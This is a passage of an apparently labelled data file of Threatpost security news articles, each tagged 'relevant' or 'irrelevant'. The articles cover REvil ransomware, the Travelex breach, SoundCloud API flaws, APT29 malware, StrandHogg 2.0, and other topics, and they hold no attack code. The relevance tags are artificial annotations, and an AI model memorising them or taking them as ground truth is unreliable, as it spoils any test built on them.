their enterprise perimeter).",relevant
"Sodinokibi Ransomware Group Sponsors Hacking Contest Larger winnings for underground skills competitions are attracting sophisticated crime groups. White hats aren’t alone in holding hacking contests. Russian-language cybercriminals are known for running similar competitions on underground forums. However, an analysis of Dark Web activity has uncovered a trend towards offering increasingly high-stakes prizes during such battles. At the same time, increasingly sophisticated participants are throwing their hats into the mix — notably, the operators behind the Sodinokibi (a.k.a. REvil) ransomware. For instance, a current hacking competition on the illicit forum known as XSS offers members the chance to win a share of $15,000 in return for original articles containing proof-of-concept videos or original code, according to a Digital Shadows report, released on Thursday. “Since its relaunch as XSS [in 2018], the former Damagelabs has organized three articles competitions, all with four- or five-figure prize funds,” the firm noted. In the past, competitions on underground forums offered much smaller prize winnings and also focused on lighthearted challenges meant to build community, rather than hacking prowess. For instance, a 2010 competition challenged participants “to design a graphic that best represented the Russian-language segment of the internet (the ‘Runet’) to win an iPad,” according to Digital Shadows. A more skills-based challenge emerged on the Exploit underground forum in December 2016, when a $2,000 pot was offered for the best articles on broad topics like “malware”, “phreaking” and “hacking.” The event has become an annual winter tradition, but Digital Shadows said that this year the prize levels soared. “Fast-forward to 2019 and the competition prize fund stood at $10,000, with rules stipulating a word count and content requirements,” the research detailed. Sodinokibi Sponsors $15K Competition The recently bigger prizes have attracted new interest from advanced threat groups, the firm said. For instance, Sodinokibi’s operators have stepped forward to sponsor the aforementioned XSS event, which is open now for entries. In this latest competition, articles can be submitted on five different topics: Searching for 0day and 1day vulnerabilities. Developing exploits for them APT attacks. Hacking LAN, elevating rights, hijacking domain controller, attack development Interesting combinations, algorithms. Writing your own crypto algorithms and hacking other people’s Innovative functionality, reviews, analysis of interesting algorithms that are used, development prospects Digital forensics. Software, tricks, methods The competition winner will win $5,000, with prizes decreasing by $1,000 incrementally for second through fifth place, totaling an overall purse of $15,000. Digital Shadows said that the site administrators also announced that most “suitable” competition finalist would be given the ability to collaborate with the Sodinokibi team for everyone’s mutual benefit. “[Groups like Sodinokibi] have taken an interest in these competitions in order to foster technical skills among forum members, increase awareness of the availability of their malware (potentially increasing their sales) and gain valuable intelligence they could use for future malware development,” according to the firm. Of course, the winnings in these underground contests are eclipsed by above-board hacking competitions – like the $25,000 per-exploit prizes given out at the recent Pwn2Own Miami. But Digital Shadows expects the trend of higher-stakes competitions to continue to grow and develop within underground channels. “Users on successful forums such as Exploit and XSS strongly identify as members of those sites and see the value in participating not only for their own benefit but also for the good of the forum,” the report concluded. “After all, helping the development of the forum is one of the major drivers behind organizing competitions: Cybercriminal forums need to attract and retain members in order to survive, and being able to present a site as a valuable repository of articles discussing pertinent cybercriminal issues is a real draw.”",irrelevant
"Sodinokibi Ransomware Now Scans Networks For PoS Systems Attackers are compromising large companies with the Cobalt Strike malware, and then deploying the Sodinokibi ransomware. Cybercriminals behind recent Sodinokibi ransomware attacks are now upping their ante and scanning their victims’ networks for credit card or point of sale (PoS) software. Researchers believe this is a new tactic designed to allow attackers to get the biggest bang for their buck – ransom payments and credit card data. Threatpost Webinar Promotion: The Enemy Within: How Insider Threats Are ChangingThe compromise of PoS software – which is commonly installed on credit card terminals at retailer stores or restaurants – is a cybercriminal favorite for siphoning credit card information from unknowing customers. In this campaign, researchers found the Sodinokibi ransomware sniffing out PoS systems on the compromised networks of three “large” unnamed companies in the services, food, and healthcare sectors. However, it’s not yet clear whether the attackers are targeting this PoS software to encrypt it as part of the ransomware attack, or because they want to scrape the credit card information on the systems as a way to make even more money in addition to the ransomware attack. “While many of the elements of this attack are ‘typical’ tactics seen in previous attacks using Sodinokibi, the scanning of victim systems for PoS software is interesting, as this is not typically something you see happening alongside targeted ransomware attacks,” said Symantec researchers in a Tuesday analysis. “It will be interesting to see if this was just opportunistic activity in this campaign, or if it is set to be a new tactic adopted by targeted ransomware gangs.” Steve Doherty, Symantec threat intelligence analyst, told Threatpost that the PoS scanning payload was observed being downloaded from Pastebin. It scans for processes related to PoS software, he said. The Campaign Before delivering the Sodinokibi ransomware, the attackers first compromised companies with the Cobalt Strike commodity malware. As part of this campaign, researchers found eight organizations with the Cobalt Strike commodity malware on their systems. Attackers would not execute the ransomware on all of these firms – only three of the eight Cobalt Strike victims were found to be additionally infected by the Sodinokibi ransomware. “Cobalt Strike is leveraged by the attackers in the earlier stages of the attack,” Doherty told Threatpost. “Once they have performed lateral traverse and obtained privileged credentials, they would then be in a position to deploy Sodinokibi. It’s also possible that they only deployed Sodinokibi onto networks of organizations that would be in a position to pay the ransom.” Cobalt Strike is an off-the-shelf tool that can be used to load shellcode onto compromised systems, said researchers. It has legitimate uses as a penetration testing tool but is frequently exploited by malicious actors, they said. Cobalt Strike attacks typically begin by exploiting vulnerable network devices or launching brute-force attacks on Remote Desktop Protocol (RDP) servers. Researchers believe that these initial infection tactics were also utilized in this most recent campaign. After initially infecting the companies, the attackers then utilized living-off-the-land tactics, where legitimate tools are used to avoid detection. For instance, researchers observed attackers using a legitimate remote admin client tool by NetSupport Ltd, which was used to install components during the campaign. They also used encoded PowerShell commands, which is a legitimate Windows command line tool that is frequently abused by malicious actors. “The attackers in this campaign also use ‘legitimate’ infrastructure to store their payload and for their command and control (C&C) server,” said researchers. “The attackers are using code-hosting service Pastebin to host their payload (the Cobalt Strike malware and Sodinokibi) and are using Amazon’s CloudFront service for their C&C infrastructure, to communicate with victim machines.” The attackers then used Cobalt Strike to perform credential theft on their targets’ machines. They were also observed adding their own fake user accounts, which researchers believe is an attempt to maintain persistence on systems and to keep a low profile on networks. “Once on a network, the attackers take various steps to reduce the chance they will be detected and to increase the chances of their attack working,” said researchers. “The attackers attempt to disable any security software on the machine so their activity can’t be detected. They also enable remote desktop connections so they can use them to launch malicious commands.” Sodinokibi On certain companies, the attacker would then download the Sodinokibi ransomware. Using this ransomware they would then encrypt the victim’s data and request a ransom of $50,000 in the Monero cryptocurrency, in exchange for decrypting the data. If companies don’t pay within the first three hours, the ransom is increased to $100,000. Sodinokibi (aka REvil) first appeared in April 2019 and has since appeared in several high-profile cyberattacks, such as one earlier in January that targeted Travelex and another that targeted a popular law firm that works with several A-list celebrities. Sodinokibi is thought to operate as a ransomware-as-a-service (RaaS), where one group maintains the code and rents it out to other groups, known as affiliates, who carry out attacks and spread the ransomware. Any profits made are then split between the affiliates and the original gang, said researchers. In this particular campaign, the two food and services companies targeted in this campaign were primarily multinational companies, which researchers say were likely targeted because the attackers believed they would be willing to pay a large ransom to recover access to their systems. The third organization was a healthcare firm, which appeared to have been a smaller operation. “Interestingly, this victim’s systems were also scanned by the attackers for PoS software,” said researchers. “It may be that the attackers realized this business might not be in a position to pay the large ransoms usually demanded in a Sodinokibi attack, and so scanned for PoS software to determine if they could profit from the compromise in another way, or they may have been scanning for this kind of software simply to encrypt it too.” Threatpost has also reached out to Symantec researchers regarding how the scanning occurs – whether it’s done via a particular module deployed by the ransomware, or otherwise. Regardless of the reasons behind the PoS scanning, researchers say that the campaign points to continual Sodinokibi activity. “One thing that is clear is the actors using Sodinokibi are sophisticated and skilled and show no sign that their activity is likely to decrease anytime soon,” said researchers. “The companies targeted with this ransomware tend to be large corporate organizations, so companies like this need to be aware of the threat posed by this kind of activity.”",relevant
"Sodinokibi Ransomware Behind Travelex Fiasco: Report Researchers suspect the cybercriminals attacked using an unpatched critical vulnerability in the company’s seven Pulse Secure VPN servers. The Sodinokibi ransomware strain is apparently behind the New Year’s Eve attack on foreign currency-exchange giant Travelex, which has left its customers and banking partners stranded without its services. The criminals behind the attack are demanding a six-figure sum in return for the decryption key, according to reports, and are directing the company to a payment website hosted in Colorado. “It is just business. We absolutely do not care about you or your details, except getting benefits. If we do not do our work and liabilities – nobody will not co-operate with us. It is not in our interests,” the readme file for the ransomware, obtained by Computer Weekly, said. “If you do not cooperate with our service – for us it does not matter. But you will lose your time and your data, cause just we have the private key. In practice time is much more valuable than money.” Sodinokibi, also known as REvil, appeared in April 2019. It has been responsible for a string of high-profile hits, including attacks on 22 Texas municipalities and various dentist offices around the country. Researchers from Secureworks Counter Threat Unit (CTU) believe that the group behind the infamous GandCrab ransomware, which earlier this year claimed to have retired, is actually responsible for Sodinokibi, given that the string decoding functions and other code aspects employed by Sodinokibi and GandCrab are nearly identical. Travelex, a ubiquitous fixture at airports, provides foreign-exchange services in 70 countries across more than 1,200 retail branches. The attack resulted in Travelex websites in at least 20 countries going offline, left its retail locations to carry out tasks manually, and many customers remain stranded without travel money. Its global banking partners, including Barclays, First Direct, HSBC, Sainsbury’s Bank, Tesco and Virgin Money, have also been left adrift with no way to buy or sell foreign currency. It’s unclear whether the company plans to pay the ransom, and it has offered no timeline on cleanup. While the company has admitted the attack, many of its websites merely are showing a warning screen saying that they’re down for “planned maintenance.” It has not returned Threatpost’s requests for comment. Unpatched Pulse Secure Servers The attack could have been successful in part because Travelex took several months to patch critical vulnerabilities in its Pulse Secure VPN servers, according to Bad Packets. Pulse Secure offers a popular enterprise remote access family of products. The company issued an urgent patch for two critical vulnerabilities in its Zero Trust VPN product in April. CVE-2019-11510 is an arbitrary file reading vulnerability allows sensitive information disclosure enabling unauthenticated attackers to access private keys and user passwords, according to the advisory; further exploitation using the leaked credentials can lead to remote command injection (CVE-2019-11539) and allow attackers to gain access inside private VPN networks. “That vulnerability is incredibly bad — it allows people without valid usernames and passwords to remotely connect to the corporate network the device is supposed to protect, turn off multi-factor authentication controls, remotely view logs and cached passwords in plain text (including Active Directory account passwords),” explained researcher Kevin Beaumont (a.k.a. Gossi the Dog), in a posting this week. He said that in August, he became aware that public exploits had been made available and that cybercriminals including APTs were actively scanning the internet for the issue (using public tools like the Shodan search engine). A corresponding report from Bad Packets that month indicated that major cyberattacks could be imminent. “On August 25th 2019, Bad Packets scanned the internet and found almost 15,000 endpoints across the world had the issue directly exploitable,” Beaumont noted. “Those results included networks at governments across the world — many incredibly sensitive organizations included — and basically a list of the world’s largest companies. It was clear organizations were simply not patching.” One of these organizations was Travelex, which had seven unsecured Pulse Secure servers, according to Bad Packets; it also said that the company waited until November – eight months after the vulnerability disclosure – to patch the issues. Bad Packets indicated that this lag time could have provided the window in which the cybergang infiltrated the Travelex network – a speculation that is somewhat supported by Pulse Secure itself, which issued a statement this week that it has indeed seen the Sodinokibi ransomware being delivered via exploits for the vulnerabilities. “The ransomware situation at Travelex shines a harsh spotlight on the potential devastation of a cybersecurity incident,” Jonathan Knudsen, senior security strategist at Synopsys, said in an emailed statement. “The lost business and negative publicity from a scenario such as this can be crushing. Ransomware continues to be a popular tool for cybercriminals…If you fall victim to a ransomware attack, you must have a plan ready to execute. The plan should include removing infected systems from your network, wiping them and reinstalling the operating system and applications, then restoring data from your backups.”",relevant
"SoundCloud Tackles DoS, Account Takeover Issues Among other issues, the music platform didn’t limit the number of login attempts someone could make. Online music platform SoundCloud, which can be thought of as an audio-based YouTube for music creators, has addressed several security bugs in its APIs that could lead to denial-of-service (DoS) or account takeover via credential-stuffing. SoundCloud recently sold a $75 million stake to satellite radio giant SiriusXM and the two also inked a lucrative ad deal. SoundCloud claims to host 200 million different music tracks on its online platform. According to researcher Paulo Silva of Checkmarx Security Research, three different groups of security vulnerabilities were found in the platform: A authentication issue which could lead to account takeover; a rate-limiting bug that could lead to DoS; and an improper input validation. The broken authentication issue has to do with not having a set number of login tries before locking someone out of the account – which opens the door to unlimited brute-force attacks from cybercriminals trying to guess passwords. “The /sign-in/password endpoint of api-v2.soundcloud.com does not implement proper account lockout based on failed authentication attempts,” according to Silva, in an analysis posted Tuesday. “It solely relies on rate limiting which can be evaded using several combinations of use_agent, device_id and signature.” That means that credential stuffing — the automated process of verifying that breached pairs of usernames and passwords work for not only the services that they originated from, but also other services — could have become a real issue. Digital Shadows recently pointed out that the market for credential stuffing software and services is thriving thanks in large part to an epidemic of breaches of usernames and passwords. Checkmarx also found a related user enumeration weakness that could be used to verify valid user account IDs as well, making it even easier to hack accounts. An attacker can exploit this to guess account names and then probe whether or not they actually exist. “Both /sign-in/identifier and /users/password_reset endpoints of api-v2.soundcloud.com can be used to enumerate user accounts,” explained the firm. “In both cases, the endpoints provide different responses depending on whether the requested user account identifier exists or not.” The rate-limiting issue meanwhile has to do with SoundCloud not limiting how many song results can be retrieved in certain searchers. For instance, the /me/play-history/tracks API endpoint, which allows users to view recently played songs, doesn’t enforce rate limiting. Thus, an attacker can send a large number of POST requests from a single machine/IP address, or can use a high-volume GET request to return hundreds of tracks at once. This can not only potentially overwhelm the API if several of these are sent at the same time, but it could also be used to artificially inflate the statistics for demand for certain tracks or artists. “The lack of rate limiting may compromise the system availability, making it vulnerable to DoS attacks,” according to Checkmarx. “From a business perspective, not limiting the amount of requests to this endpoint may compromise the data integrity, since it may create biased tracks-statistics.” A related issue has to do with the /tracks endpoint of api-v2.soundcloud.com, which Silva said does not implement proper resources limiting – also potentially leading to DoS. “Since no validation is performed regarding the number of tracks IDs in the ids list, it is possible to manipulate the list to retrieve an arbitrary number of tracks in a single request,” he said, adding that in testing, researchers were able to retrieve up to 689 tracks in a single request. “Using a specially crafted list of track IDs to maximize the response size, and issuing requests from several sources at the same time to deplete resources in the application layer, will make the target’s system services unavailable,” Silva explained. The improper input validation issue meanwhile would allow the attacker to use extra-long character strings when filling in the description, title and genre forms while uploading songs, according to the research. An exploit could make use of this to carry out cross-site scripting attacks or SQL injection. “The /tracks/{track_urn} endpoint of api-v2.soundcloud.com does not properly validate and enforce the length of [these] properties,” Silva explained. “Issuing requests directly to the API server puts the attacker in control of an additional 61960 bytes (total of 66160 bytes).” For its part, SoundCloud promptly fixed the problem and sent out a statement: “At SoundCloud, the security of our users’ accounts is extremely important to us. We are always looking for ways to enhance the security of our platform for our users. We appreciate Checkmarx reaching out to discuss their findings.”",relevant
"Hackers Look to Steal COVID-19 Vaccine Research The Russia-linked APT29 has set its sights on pharma research in Western nations in a likely attempt to get ahead on a cure for coronavirus. The advanced threat actor known as APT29 has been hard at work attempting to pilfer COVID-19 vaccine research from academic and pharmaceutical research institutions in various countries around the world, including the U.S. That’s according to a joint alert from the U.S. Department of Homeland Security (DHS), the U.K.’s National Cyber Security Centre (NCSC) and Canada’s Communications Security Establishment (CSE), issued Thursday. The 14-page advisory details the recent activity of Russia-linked APT29 (a.k.a. CozyBear or the Dukes), including the use of custom malware called “WellMess” and “WellMail” for data exfiltration. “Throughout 2020, APT29 has targeted various organizations involved in COVID-19 vaccine development in Canada, the United States and the United Kingdom, highly likely with the intention of stealing information and intellectual property relating to the development and testing of COVID-19 vaccines,” the report noted. This specific activity was seen starting in April, but security researchers noted that nation-state espionage targeted to coronavirus treatments and cures has been a phenomenon all year. “COVID-19 is an existential threat to every government in the world, so it’s no surprise that cyber-espionage capabilities are being used to gather intelligence on a cure,” said John Hultquist, senior director of analysis at Mandiant Threat Intelligence, via email. “The organizations developing vaccines and treatments for the virus are being heavily targeted by Russian, Iranian and Chinese actors seeking a leg up on their own research. We’ve also seen significant COVID-related targeting of governments that began as early as January.” Exploits in Play To mount the attacks, APT29 is using exploits for known vulnerabilities to gain initial access to targets, according to the analysis, along with spearphishing to obtain authentication credentials to internet-accessible login pages for target organizations. The exploits in rotation include the recent Citrix code-injection bug (CVE-2019-19781); a publicized Pulse Secure VPN flaw (CVE-2019-11510); and issues in FortiGate (CVE-2018-13379) and Zimbra (CVE-2019-9670). “The group conducted basic vulnerability scanning against specific external IP addresses owned by the [targeted] organizations,” according to the report. “The group then deployed public exploits against the vulnerable services identified. The group has been successful using recently published exploits to gain initial footholds.” Once a system is compromised, the group then looks to obtain additional authentication credentials to allow further access and spread laterally. Custom Malware Once established in a network, APT29 is employing homegrown malware that the NCSC is calling WellMess and WellMail, to conduct further operations on the victim’s system and exfiltrate data. WellMess, first discovered in July 2018, is malware that comes in Golang or .NET versions and supports HTTP, TLS and DNS for communications. Named after one of the function names in the malware, “WellMess is a lightweight malware designed to execute arbitrary shell commands, upload and download files,” according to the advisory. WellMail malware meanwhile, named after file paths containing the word ‘mail’ and the use of server port 25, is also lightweight – and is designed to run commands or scripts while communicating with a hardcoded command-and-control (C2) server. “The binary is an ELF utility written in Golang which receives a command or script to be run through the Linux shell,” according to the NCSC. “To our knowledge, WellMail has not been previously named in the public domain.” Both malwares uses hard-coded client and certificate authority TLS certificates to communicate with their C2 servers. “WellMess and WellMail samples contained TLS certificates with the hard-coded subjectKeyIdentifier (SKI) ‘0102030406’, and used the subjects ‘C=Tunis, O=IT’ and ‘O=GMO GlobalSign, Inc’ respectively,” detailed the report. “These certificates can be used to identify further malware samples and infrastructure. Servers with this GlobalSign certificate subject may be used for other functions in addition to WellMail malware communications.” APT29 is also using another malware, dubbed ‘SoreFang’ by the NCSC, which is a first-stage downloader that uses HTTP to exfiltrate victim information and download second-stage malware. It’s using the same C2 infrastructure as a WellMess sample, the agencies concluded. This sample is not a custom job: “It is likely that SoreFang targets SangFor devices. Industry reporting indicates that other actors, reportedly including DarkHotel, have also targeted SangFor devices,” noted the NCSC. APT29: A Sporadically High-Profile Threat APT29 has long been seen targeting high-value targets across the think-tank, law enforcement, media, U.S. military, imagery, transportation, pharmaceutical, national government and defense contracting sectors. The group is is perhaps best-known for the intrusion at the Democratic National Committee ahead of the U.S. presidential election in 2016. It was also implicated in a widespread phishing campaign in November 2016, in attacks against the White House, State Department and Joint Chiefs of Staff. It was next seen in November 2017 executing a Tor backdoor, and then it reemerged in 2018 with a widespread espionage campaign against military, media and public-sector targets. Its history stretches back a few years though: It was also seen by Kaspersky Lab carrying out data-mining attacks against the White House and the Department of State in 2014. Researchers from firms like Mandiant believe APT29 to be linked to Russian government-backed operations – an assessment that the DHS and NCSC reiterated in the latest advisory, saying that it is “almost certainly part of the Russian intelligence services.” While its publicly profiled activity tends to be sporadic, APT29 is rarely at rest, according to Mandiant’s Hultquist. “Despite involvement in several high-profile incidents, APT29 rarely receives the same attention as other Russian actors because they tend to quietly focus on intelligence collection,” he said via email. “Whereas GRU actors have brazenly leaked documents and carried out destructive attacks, APT29 digs in for the long term, siphoning intelligence away from its target.” This latest case is no exception to that M.O., according to the advisory: “APT29 is likely to continue to target organizations involved in COVID-19 vaccine research and development, as they seek to answer additional intelligence questions relating to the pandemic,” the agencies concluded. That said, at least one researcher warned that the end-game of the activity might be more nefarious than simply getting a leg up on a cure. “APT29 (Cozy Bear, Office Monkeys) has successfully demonstrated the extension of nation-state power through cyber-action for more than a dozen years,” Michael Daly, CTO at Raytheon Intelligence & Space, said via email. “However, they are not focused on simple intellectual property theft. Instead, their focus is rooted in influence operations – the changing of hearts and minds to thwart and diminish the power of governments and organizations.” He added, “In the case of this breach of vaccine research centers, we should be most concerned not that someone else might also get a vaccine, but that the information will be used to undermine the confidence of the public in the safety or efficacy of the vaccines, slowing their adoption, or in some way cause their release to be delayed. The effect of such a delay would be both impactful to the health of Western populations, but also to the social stability and economic stability of the West.”",irrelevant
"StrandHogg 2.0 Critical Bug Allows Android App Hijacking a malicious app installed on a device can hide behind legitimate apps. A critical privilege-escalation vulnerability affecting Android devices has been found that allows attackers to hijack any app on an infected phone – potentially exposing private SMS messages and photos, login credentials, GPS movements, phone conversations and more. The bug is dubbed the “StrandHogg 2.0” vulnerability (CVE-2020-0096) by the Promon researchers who found it, due to its similarity to the original StrandHogg bug discovered last year. Like the original, a malicious app installed on a device can hide behind legitimate apps. When a normal app icon is clicked, a malicious overlay is instead executed, which can harvest login credentials for the legitimate app. However, Version 2.0 allows for a wider range of attacks. The main difference with the new bug is that exploits are carried out through reflection, “allowing malicious apps to freely assume the identity of legitimate apps while also remaining completely hidden,” researchers explained, in a white paper published on Tuesday. The original StrandHogg allowed attacks via the TaskAffinity Android control setting. “StrandHogg 2.0…has learned how to, with the correct per-app tailored assets, dynamically attack nearly any app on a given device simultaneously at the touch of a button, unlike StrandHogg which can only attack apps one at a time,” according to the research. Attackers would first inject the original launcher activity of the apps they are targeting with their own attack activity. The task will appear to be the original task belonging to the app; however, the attack activity that has been placed into the task is what the user will actually see when the task is activated. “As a result, the next time the app is invoked, for instance, by a user clicking its app icon, the Android OS will evaluate the existing tasks and find the task we created,” according to the white paper. “Because it looks genuine to the app, it will bring the task we created to the foreground and with it our attack will now be activated.” The Promon researchers have published a proof-of-concept video of how an exploit would work: “Mobile apps practically have a target painted on their back. Promon’s recent malware vulnerability discovery dubbed “StrandHogg 2.0″ is the latest example of what dangerous malware could do if exploited in the wild – possibly exposing Android users’ mobile banking credentials and access one-time-passwords sent via SMS,” said Sam Bakken, senior product marketing manager at OneSpan, via email. StrandHogg 2.0 attacks are also more difficult to detect, researchers wrote. “Attackers exploiting StrandHogg have to explicitly and manually enter the apps they are targeting into Android Manifest, with this information then becoming visible within an XML file which contains a declaration of permissions, including what actions can be executed,” they explained. “This declaration of required code, which can be found within the Google Play store, is not the case when exploiting StrandHogg 2.0.” Attackers can further hide their activities due to the fact that StrandHogg 2.0 requires root access or external configuration, and code obtained from Google Play will not initially appear suspicious to developers and security teams. No attacks have thus been seen in the wild, but researchers theorize that it’s only a matter of time before they appear. Promon said that it expects threat actors to use both the original StrandHogg bug and the new version together, in order to broaden their attack surface: Many of the mitigations that can be executed against StrandHogg do not apply to StrandHogg 2.0 and vice-versa, Promon said. “We see StrandHogg 2.0 as StrandHogg’s even more evil twin,” said Tom Lysemose Hansen, CTO at Promon. “Attackers looking to exploit StrandHogg 2.0 will likely already be aware of the original StrandHogg vulnerability and the concern is that, when used together it becomes a powerful attack tool for malicious actors.” Google has issued a patch for Android versions 9, 8.1 and 8, but users on earlier versions (representing 39.2 percent of Android devices, researchers said) will remain vulnerable. StrandHogg 2.0 exploits do not impact devices running Android 10, so users should update their devices to the latest firmware in order to protect themselves from attacks. “With a significant proportion of Android users reported to still be running older versions of the OS, a large percentage of the global population is still at risk,” the researchers said. In fact, according to data from Google, as of April 2020, 91.8 percent of Android active users worldwide are on version 9.0 or earlier: Pie (2018), Oreo (2017), Nougat (2016), Marshmallow (2015), Lollipop (2014), KitKat (2013), Jellybean (2012) and Ice Cream Sandwich (2011).",relevant
"Tencent Ups Top Bug-Bounty Award to $15K The Chinese ISP has expanded its program via HackerOne. The Tencent Security Response Center (TSRC) is launching an expanded bug-bounty program, via the HackerOne white-hat platform – and the company has increased its top reward to $15,000. Tencent, a China-based global internet service provider, is opening up its existing bug-bounty program to HackerOne’s community of 600,000+ bug hunters, to widen the company’s vulnerability reporting and technical sharing efforts, it said in a launch notice on Tuesday. Tencent will also pay out its bounty payments via HackerOne’s platform from now on. The top award in the program is now $15,000 for “quality reports on eligible valid vulnerabilities” that are critical-rated, according to the program details – an increase from $5,000 previously. As for what’s eligible and valid, awards are available across Tencent’s products and services, as well on its carrier networks. Attacks on ISP networks and services can take many forms. Tencent said that it’s mainly interested in bugs that enable: cross-site scripting (XSS); cross-site request forgery (CSRF); server-side request forgery (SSRF); SQL injection; remote code execution (RCE); XML external entity attacks (XXE); access control issues (insecure direct object reference issues, etc.); exposed administrative panels; directory traversal issues; local file disclosure (LFD); and data leakage/data breach/information disclosure issues. “Any design or implementation issue that is reproducible and substantially affects the security of Tencent users is likely to be in scope for the program,” according to TSRC. Below is a general chart of what’s in-scope: “Online security for our products and platforms is a top priority for Tencent,” said Juju Zhu, COO of TSRC, in a media statement. “While we develop and deploy advanced technologies to safeguard our platforms, we also collaborate with professional white hackers’ networks to help us enhance our security protection for our products and our users. We are the first company in China to set up a Security Response Center, and now by partnering with Hacker One, we expect to receive constructive research results from a larger, global community of security experts.” According to HackerOne platform data in the 2019 Hacker-Powered Security Report, bug-bounty programs in the Asia-Pacific region have increased by 30 percent in 2019, thanks to new programs from Singapore’s Ministry of Defence (MINDEF) and Singapore’s Government Technology Agency (GovTech), Toyota, Nintendo, Grab, Alibaba, LINE, OPPO, OnePlus and others.",irrelevant
"Tesla Autopilot Duped By ‘Phantom’ Images Researchers were able to fool popular autopilot systems into perceiving projected images as real – causing the cars to brake or veer into oncoming traffic lanes. Researchers said that autopilot systems used by popular cars – including the Tesla Model X – can be fooled into detecting fake images, projected by drones on the road or on surrounding billboards, as real. Attackers could potentially leverage this design hole to trigger the systems to brake or steer cars into oncoming traffic lanes, they said. The issue stems from advanced driving assistance systems (ADAS), which are used by semi-autonomous vehicles to help the vehicle driver while driving or parking. By detecting and reacting to obstacles in the road, ADAS systems are designed to increase driver safety. However, researchers said that they were able to create “phantom” images purporting to be an obstacle, lane or road sign; use a projector to transmit the phantom within the autopilots’ range of detection; and trick systems into believing that they are legitimate. “The absence of deployed vehicular communication systems, which prevents the advanced driving assistance systems (ADASs) and autopilots of semi/fully autonomous cars to validate their virtual perception regarding the physical environment surrounding the car with a third party, has been exploited in various attacks suggested by researchers,” said a team of researchers from the Ben-Gurion University of the Negev in a post last week (they presented the research at Cybertech Israel conference in Tel Aviv last week). To develop a phantom proof-of-concept attack, researchers looked at two prevalent ADAS technologies. The Mobileye 630 PRO (used in vehicles like the Mazda 3) and Tesla’s HW 2.5 autopilot system, which comes embedded in the Tesla Model X. On the scale of level 0 (no automation) to level 5 (full automation), these two systems are considered “level 2” automation. That means they support semi-autonomous driving by acting as an autopilot, but still require a human driver for monitoring and intervention. These systems use various depth sensors and video cameras to detect obstacles on the road within a range of 300 meters. ADAS attacks To create the attack, researchers simply developed an image to be projected – with no difficult technical requirements other than making the image bright and sharp enough to be detected by the ADAS technologies. “When projecting images on vertical surfaces (as we did in the case with the drone) the projection is very simple and does not require any specific effort,” Ben Nassi, one of the researchers with the Ben-Gurion University of the Negev who developed the attack, told Threatpost. “When projecting images on horizontal surfaces (e.g., the man projected on the road), we had to morph the image so it will look straight by the car’s camera since we projected the image from the side of the road. We also brightened the image in order to make it more detectable since a real road does not reflect light so well.” Then, they projected these phantom images to nearby target vehicles, either embedded within advertisements on digital billboards, or via a portable projector, mounted on a drone. In one instance, researchers showed how they were able to cause the Tesla Model X to brake suddenly due to a phantom image, perceived as a person, projected in front of the car. In another case, they were able to cause the Tesla Model X’s system to deviate to a lane of oncoming traffic by projecting phantom lanes that veered toward the other side of the road. Researchers said that phantom attacks have not yet been encountered in the wild. However, they warn that the attacks do not require any special expertise or complex preparation (a drone and a portable projector only costs a few hundred dollars, for instance) and, if the attacker is using a drone, the attacks can potentially be launched remotely. Phantom attacks are not security vulnerabilities, researchers said, but instead “reflect a fundamental flaw of models that detect objects that were not trained to distinguish between real and fake objects.” Threatpost has reached out to Tesla and Mobileye for further comment and has not yet heard back by publication. Researchers said that they were in contact with Tesla and Mobileye regarding the issue via their bug bounty programs from early May to October 2019. However, they said that vendors said that the phantom attacks did not stem from an actual vulnerability in the system. “There was no exploit, no vulnerability, no flaw, and nothing of interest: the road sign recognition system saw an image of a street sign, and this is good enough, so Mobileye 630 PRO should accept it and move on,” researchers said Mobileye told them. ADAS Tesla attackTesla told researchers that it would not “comment” on the findings since some of the research involved utilized an “experimental” stop sign recognition system for the autopilot and had thus changed the configuration of the vehicle. “We cannot provide any comment on the sort of behavior you would experience after doing manual modifications to the internal configuration – or any other characteristic, or physical part for that matter – of your vehicle,” researchers said Tesla told them (the experimental code from the firmware has since been removed, researchers said). However, researchers said that while this “experimental” stop sign recognition system was utilized in a PoC to detect projected stop signs, “We did not influence the behavior that led the car to steer into the lane of oncoming traffic or suddenly put on the brakes after detecting a phantom,” they said. “Since Tesla’s stop sign recognition system is experimental and is not considered a deployed functionality, we chose to exclude this demonstration from the paper.” Researchers for their part say that configuring ADAS systems so that they take into account objects’ context, reflected light, and surface would help mitigate the issue as it would provide better detection around phantom images. Connected vehicles have long been a target for hacking, spearheaded by the 2015 hack of a Jeep Cherokee that enabled control of key functions of the car. Other vehicle-related attacks have stemmed from keyless entry systems to in-vehicle infotainment systems.",irrelevant
"The Enemy Within: How Insider Threats Are Changing Insider-threat security experts unravel the new normal during this time of remote working, and explain how to protect sensitive data from this escalating risk. Insider threats are ramping up – with new kinds of concerns in this category beginning to emerge. This is happening against a heady backdrop: Makeshift home offices, a cavalcade of new distractions and a tectonic shift to the cloud have recently collided to create an entirely new world for enterprise security. It’s a world where companies are simultaneously trying to make all their information available to a diffuse remote workforce, while locking down their most sensitive information. Meanwhile, there’s an expanding roster of potential bad actors ready to take advantage of the confusion. On the insider-threats front, when it comes to knowing precisely what valuable information your company has in its possession, privileged IT users and administrators are the most lethal. Insider threats like these can get easily overlooked, with catastrophic consequences to the entire business, from IT and marketing to customer service. Ratcheting up the risk is the growing reliance on an independent-contractor workforce, coupled with dire predictions of upcoming furloughs and layoffs — symptoms of a pandemic-weakened economy. Besides the motives of malice and financial gain, sometimes-innocent, accidental disclosures happen: That’s especially true now, when thanks to stay-at-home-orders, the lines between work, home, professional, family and school are more blurred than ever. The way forward is a system that can monitor data in real time and even predict threats before they happen, according to Gurucul CEO Saryu Nayyar and COO Craig Cooper, who both recently participated in a Threatpost editorial webinar devoted to how businesses can protect against insider threats. In this webinar replay, they are joined by Threatpost senior editors Tara Seals and Lindsey O’Donnell for a discussion about how the current climate is driving a rise in insider threats, and how businesses of all sizes can implement a system that protects information before it’s compromised. Nayyar proposes an approach that fuses a meticulous attention to permissions and information access supported by big data analytics and something she calls “sentiment analysis” that analyzes behaviors for brewing insider risk. Cooper offers a raft of independent survey data on business attitudes on insider threats as well as attack data; and follows with insights into best practices for addressing the risk, including examples of how one hospital group in Minneapolis, Minn. was able to come up with a game plan to secure Tom Brady’s medical records from the tabloids during the ramp-up to the 2018 Super Bowl. Finally, webinar attendees were given a chance to weigh in on their own mitigation strategies, with 11 percent responding their business was “extremely vulnerable” to insider threats. Please find the YouTube video of the webinar below. A lightly edited transcript follows. Tara Seals: Hello, everyone, and thank you for attending today’s Threatpost webinar, entitled The Enemy: Within How Insider Threats Are Changing. I’m Tara Seals senior editor at Threatpost and I’m going to be your moderator today. I’m also joined by my colleague, Lindsey O’Donnell, who is also going to 